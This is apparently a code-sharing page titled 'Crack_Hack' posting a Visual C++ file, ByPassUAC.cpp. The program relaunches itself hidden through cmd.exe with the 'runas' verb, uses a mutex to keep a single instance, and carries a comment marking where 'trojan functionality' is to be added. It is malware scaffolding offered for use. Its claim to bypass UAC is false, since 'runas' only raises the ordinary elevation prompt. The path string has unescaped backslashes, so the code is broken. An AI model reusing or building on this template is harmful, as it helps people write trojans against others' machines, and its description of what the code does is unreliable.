Crack_Hack

Development Platform:

Visual C++

ByPassUAC.cpp：Code Content

							// ByPassUAC.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "Shellapi.h"
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	// TODO: Place code here.
	char szPath[] = "c:\windows\system32\cmd.exe"; 
	char szParam[MAX_PATH*2] = {0};
	memset(szParam,0,sizeof szParam);
	strcpy(szParam,"/c start ");
	char szCurPath[MAX_PATH]={0};  
	char szShortPath[MAX_PATH]={0};
	memset(szCurPath,0,MAX_PATH);   
	GetModuleFileName(NULL,szCurPath,sizeof(szCurPath)/sizeof(TCHAR));
	GetShortPathName(szCurPath,szShortPath,sizeof(szShortPath));
	strcat(szParam,szShortPath);
	
	HANDLE hMutex = CreateMutex(NULL, false, "Process");
	if (GetLastError() == ERROR_ALREADY_EXISTS)
	{
		CloseHandle(hMutex);
		return 0;
	}
	
	ShellExecute(NULL, "runas", szPath, szParam, NULL, SW_HIDE);
	MessageBox(NULL, "程序已运行!", "提示", MB_OK +MB_ICONWARNING); //表示程序已运行
	
	//在此添加木马功能...
	return 0;
}

						